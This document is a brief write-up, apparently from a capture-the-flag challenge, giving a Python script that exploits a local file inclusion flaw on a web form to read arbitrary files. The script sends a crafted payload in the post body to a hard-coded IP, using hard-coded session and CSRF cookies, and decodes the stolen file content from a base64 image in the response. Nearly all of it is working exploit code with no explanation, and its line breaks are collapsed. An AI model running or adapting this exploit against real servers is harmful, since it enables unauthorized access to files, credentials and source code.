Exploit LFI to arbitary file read.
```pythonimport requestsfrom bs4 import BeautifulSoupfrom base64 import b64decodeimport randomimport string
headers = {    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0',    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',    'Accept-Language': 'en-GB,en;q=0.5',    'Referer': 'http://193.57.159.27:26683/new/',    'Content-Type': 'application/x-www-form-urlencoded',    'Origin': 'http://193.57.159.27:26683',    'Connection': 'keep-alive',    'Upgrade-Insecure-Requests': '1',    'Pragma': 'no-cache',    'Cache-Control': 'no-cache',}cookie = {    "csrftoken":"WpkSPU3EitDvJgR6O8SOeaNACQLMLmNPDecOYKdrpUnG5yQFa45lHEDpqFFoEvHN",    "sessionid": ".eJxNjEsKwjAURQVxKIKr0EnoS9qXZCbOXUN5aRLbKg30MxRcQIZxIe5QRYXe4TmHe189novvbmkX1yVNY11Og-vLxqa4BMAUtzNqqLq47q32tqXuHFgVurFvDPsk7GcHdgrWXY__djM7qGmoUzwgFCAxz4i85iI3ymSCo3fca22l8KC1stIgeo-ggVdYAHGnpORCgcnTxF4l3D6b:1mFhwu:mlibTmM3JvM87A1WTadKyJVBiuYRJJUgj6h-HKyYfRM"
}
def send_request(payload):    data = {    "csrfmiddlewaretoken":"J0krStVNFuVQo6cpg2JpH5RFWeD69XBwqPcn1j5AMVF1KobYCYWWazHuK3xI26vu",    "name":"test15",    "body":"({}}{%s}..})" % payload    }    response = requests.post("http://193.57.159.27:45262/new/", headers=headers, data=data, cookies=cookie)    soup = BeautifulSoup(response.text, "html.parser")    paragraph = soup.find('p', class_='card-text')    base64_data = paragraph.img['src'].replace("data:image/png;base64,", "")    print(b64decode(base64_data).decode("UTF-8"))
if  __name__ == "__main__":    payload = input("File to read: ").strip()    send_request(payload)```